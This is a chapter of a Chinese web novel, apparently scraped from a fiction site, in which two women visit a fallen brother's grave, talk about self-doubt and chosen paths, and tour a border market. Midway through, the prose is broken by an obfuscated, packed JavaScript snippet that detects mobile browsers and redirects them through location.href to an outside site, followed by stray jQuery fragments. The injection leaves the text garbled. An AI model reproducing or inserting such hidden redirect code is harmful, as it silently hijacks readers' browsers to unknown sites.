“……呼，我们快到了。”姜祯提着竹篮站在原地，叉着腰擦掉额角的汗珠，望着面前的山丘说道。


    “这是……”汤穗穗跟在对方身后探出头来，望着面前这条杂草丛生，但中间有条显眼的山路。


    今日一大早，对方就神神秘秘地，说要带自己去什么地方。她虽然摸不着头脑，但是出于对对方的信任，也就跟对方来到这里。


    “到了就知道了，走吧。”


    哪怕走到这里，姜祯依旧卖关子。汤穗穗也没说什么，只好跟在对方身后。


    等汤穗穗沿着山路往上走，看到了一大片打理得十分整齐的坟地，其中有一座坟茔有些与众不同，还树下一块石碑。


    “这里被百姓们称为‘英豪山’。”在汤穗穗望着坟茔出神的时候，姜祯已经走进那座坟茔，将一路挽着的篮子放在一旁，对着坟茔开口，“哥，我和穗穗来看你了。”


    这里不仅仅埋葬着姜祀，还有许许多多葬身在战场上的将士们。百姓们在打扫战场的时候，将还能辨认的尸首埋在这里。


    即便有许多这里有许多叫不出名字的将士，但这里的百姓坚持认为她们都是守护一方的英杰，也就以此重新命名此处。


    姜祯一边解释，一边将准备的香火从篮中掏出，熟练地插在姜祀的坟茔前。汤穗穗也不好意思呆站在一旁，蹲在姜祯身边，接过线香点燃，学着对方的模样虔诚的祭拜。


    “……这样吗？”她有些不确定，询问身旁的姜祯。


    “穗穗，不用那么拘谨。”姜祯看着汤穗穗如临大敌的模样，忍俊不禁。插好线香的她，大大咧咧盘腿坐在石碑的旁边，手肘搭在石碑上，“我哥只是死了，又不是变了。别紧张，就像往常一样相处就好啦。”


    汤穗穗不自觉皱巴着脸，下意识觉得对方的话语有些……奇怪，但一时间又说不上哪里奇怪。


    偏偏这个时候，周围还起了一阵风，吹得坟茔前的烛火左右摆动，似乎对方也在对她们回应。


    这下姜祯就更高兴了：“看，我哥也回应了，他说我说的都是对的。”


    身在乾坤宗的汤穗穗很想回去问问师傅，宗门里究竟有没有通灵的本事。不过既然作为妹妹的姜祯都这样开口，她也趁着线香上的香灰落下之前，赶紧插在方才姜祯插下的旁边。


    她左顾右盼没找到可以坐的地方，掌心合十拜了拜周围，最后选择坐在姜祯身边。


    “哥，我们来看你了。”就像往常一样，姜祯从竹篮里掏出不知道什么时候准备的糕点，徒手掰开一部分放在石碑前面，剩下的部分则分成两份，递给汤穗穗。


    “……我，也能吃？”


    “当然了。”姜祯理直气壮地开口，“走了这么远的路，吃点东西怎么了？一会休息好了我们得回去了，现在不吃东西会饿坏的。”


    汤穗穗从来没有试过在旁人坟茔前吃东西，但看着姜祯坦然的动作，她也逐渐学着对方那样，小口地啃着手里的糕点。


    不知道是不是独特的体验，反而觉得手中的糕点有些别样地滋味。


    “……穗穗，不如同我说说娘亲和欢姨吧。你从王城来时，她们可还好？”姜祯还记得汤穗穗是王城来的，当时没来得及问，现在正好一并说给哥哥听。


    由姜祯开了头，汤穗穗也就顺着话题说了下去。在对方专注的视线中，她也逐渐放开自己，讲起一路上的见闻、讲起自己的感受。


    坟茔前的香烛随着山风摇摆，似乎也听得认真。


    不知不觉间，两人便将姜祯竹篮里带的糕点吃得一干二净——当然也分了不少给姜祀。


    “嗯，东西吃完了，那今天的天就聊到这里！”姜祯将竹篮递给汤穗穗，自己撑着石碑站起来，“我最后再跟我哥说几句话。”


    “好，我在一旁等你。”汤穗穗接过竹篮，站得稍远一些，排掉衣摆上的黄土，望着姜祯闭眼碎碎念的侧脸，又看着坟茔前跳动、即将熄灭的火焰，轻叹口气。


    她还记得曾经读过的一句“古来征战几人回”[1]。她想，这或许就是战场最残忍的地方，战士们的人用自己的血肉铸成坚硬的城墙，这才能将安稳带给更多的人。


    也正因如此，她们的付出值得被所有人铭记，也当之无愧被称为“英豪”。


    “走吧。”姜祯笑着挽上汤穗穗的手臂，拉回后者的思绪，“我们该下山了。”


    在下山之前，汤穗穗还下意识回头，凝望着身后的坟茔，在心中为她们致以崇高的敬意。


    “哥哥常跟我说，他并不习惯政治上的谋划，在那方面我远比他要强上不少。——直到现在，我还是认为这只是他安慰我的说辞。”或许是身边许久没有可以倾诉的人，姜祯终于能将闷在心口的话吐出来，低垂着头，“哥哥离开之后，有很多原本属于他的事情，现在都落在了我的身上。……就像昨天说起的，押送谋逆者回王城的事情。”


    “这不好吗？你……是在担心什么吗？”汤穗穗听出身旁人忐忑不安的语气，放柔声音说道。


    “……我只是担心我做不好。”姜祯总觉得自己仍有许多不足，还有很多比不上哥哥的地方。


    为了验证自己的说法，她还跟汤穗穗举出很多例子来佐证；然而在汤穗穗看来，对方已经比起当年成长了许多。


    是以，穗穗拍着姜祯得到手背，说出自己的真心话：“别担心，你一定可以的。你所担心的那些，我觉得都是可以慢慢磨练出来的。”


    “……真的可以吗？”姜祯下意识转头，望进汤穗穗的眼睛里，“可我明明和她们还差着很长的一段距离。”


    看着姜祯这个样子，汤穗穗好像看到那时师姐刚离开时，完全茫然无措的自己。


    她忍不住勾起嘴角，认真地望着姜祯开口，也望着对方眼瞳里的自己：“不是这样的，你已经做得很好了。在他离开之后到现在，你不是把每一件事都安排得很好吗？……不要妄自菲薄。”


    “可是……”


    “祯姐姐，要相信自己。”汤穗穗朝对方点着头，声音平稳却带着力量，“正如她们相信你的那样。”


    或许是汤穗穗眼瞳过于认真、声音中的力量完完整整地传递给对方，让对方懊恼地别开脸，伸手擦掉脸上不知道何时又冒出的泪花。


    “……哎呀，怎么回过头来变成安慰我了。”姜祯有些懊恼，继续往前走着，“不说我了，说回你吧。——哦对了，说了那么多，怎么不见你提忘尘道长了？”


    姜祯还记得一年前那个出尘的女子，心中也很好奇对方的近况。


    “师姐她……”汤穗穗笑容瞬间凝在脸上，下意识移走视线，望着地上的黄土，不知道如何作答。


    “我知道了，一定是发生了些什么吧。”姜祯比当年更敏锐，她读懂汤穗穗的欲言又止，安慰对方，“不管师姐她如今如何，我相信她始终行走在自己的路上，无须担心。”


    “可倘若那条道路并非她的本愿呢？”汤穗穗下意识张口反驳，“——分明是有人操纵着她走上的。”


    “这样啊。”姜祯有些理解汤穗穗如今的焦虑，不过对于这件事，她依旧有另一种看法，“可倘若，那就是她所想的道路呢？”


    “什么意思？”汤穗穗听得云里雾里，下意识站在原地，转身茫然地想从对方口中得到解释。


    “我理解你的意思。我是说，忘尘道长在这条被选择的道路上，也做出了自己的选择呢？”姜祯尝试着用另一角度开解对方，“……就如同你说的，她所做下的这个选择并非自愿，但倘若她也在其中，找到那条真正想走的那条路呢？”


    说到这里，姜祯难为情地挠着头，补充道：“虽然这样的说法有些诡辩……但我所知道的忘尘道长，绝对不是甘为鱼肉的类型。就算她被人设计、又或是安排，也一定能找到破局的办法。”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15929821|169112||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    面前的汤穗穗还陷在沉思中，姜祯忍不住发散思维，脑海翻涌许多思绪。


    “啊，这么说起来，我们其实行走在一样的道路上。”想着想着，姜祯忽然弯着眉眼笑出来，“你看，我们为了百姓奔赴在这里，而你们也奔赴在我们看不见的战场上。


    “我们都是为了被人能活下来，而走在这条路上。


    “你说呢，穗穗道长？”


    姜祯的话语惊得汤穗穗猛地抬头，迟钝地眨眼，和面前挑眉等待答案的女人沉默对视着。


    “原来都是一样的。”她轻声呢喃开口。


    在被姜祯点出来之前，她从来没往这个角度思考过。她现在才意识到，原来许多事情并非是割裂的，其实很多时候她们都走在同样的道路上。


    蓦然地，她想起很久很久以前，那位杏林堂的姜大夫说过的一句话：“一样的，都一样的。”


    或许方式并不相同，但她们想达成的结果都是一样的。


    一样的想让更多人看到期待的明日。


    一样的想让更多人平安顺遂。


    “走吧，别呆在原地了，让我带你逛逛这里吧！”姜祯伸手挽着汤穗穗的手臂，将沉思着的她拉回当下，主动带着对方行走在街市上。她这一年来到这里，除了逆贼和对外的战争，她还对内调整许多政策，改善这里的民生。


    避免汤穗穗听不明白的地方，她还揉碎、用更通俗的例子解释着。在这片土地上，她自认费尽心思，也很乐意看到如今的变化。


    回神的汤穗穗望着街市上的行人，也听得认真。过路的行人自然认出姜祯的身份，纷纷笑着打招呼，还有人主动要给她送些什么——当然被姜祯笑着婉拒。


    汤穗穗一边感受着姜祯描述的变化，一边望着百姓们真挚的答谢——她越发笃定接替圣上位置后的姜祯，会成为一位极好的国君，引领整个国家踏上更好的未来。


    不过这些话，她并没有直接开口，只是藏在心里，免得惊吓到这位还不自信的朋友。


    姜祯并没有阅读对方心声的能力，她继续带着汤穗穗往街市走。这里即便临近边塞，但百姓们的面貌依旧精神，也能看到一些截然不同的面孔，听说是从邻国来经商贸易的商队。


    说起商队，汤穗穗自然就会想到杜蕴辰。忍不住设想，或许拥有经商天赋的她，还会带着“杜家商行”走出国门，向更远的地方推销自己的东西。


    除了惹眼的经商外国人，这边的街道还有为穷苦百姓布施的组织。比起寻常直接分发食物，这里的组织则是采用以劳动换取粮食的方式。


    即使距离有些远，汤穗穗却无端觉得站在最前面忙碌的身影很是眼熟。


    意识到汤穗穗的视线，姜祯也朝那边看去，解释着：“……那里是来自乔女村的善会。”


    “……乔女村？”汤穗穗下意识重复一遍，她没想到竟然会在这里听到这个名字。


    “嗯，好像还是你跟哥哥说的。一个曾经叫立石村的地方，如今改成乔女村。”姜祯不疑有她，笑着解答，拉着对方走得更近些，“哥哥还去打听过，更换名字还是很久以前，一位女子敢于直面天神，以生命为代价拯救整座村子。因此，那里的人为了纪念这位伟大的女子，便专门立庙更名，以此铭记对方的贡献。……”


    不过后面的话汤穗穗都听得不仔细，她只听得到自己的心口隆隆作响的心跳，和颤抖的双手。


    走得越近，她越能看清楚对方的面庞。即使阔别九年未见，面前的人变得健康许多，脸上再也不是不正常的枯黄。她正笑着分发粥食，眼角爬上的柔和细纹，反倒亲近不少，拉近与旁人的距离。


    望着远处的那人，她嘴唇翕动，很想走进一探究竟，但脚下却犹如捆绑着沉重的石块，半步都难以挪动。


    真的会是她吗？


    ……又或者只是上天给她编造的镜花水月呢？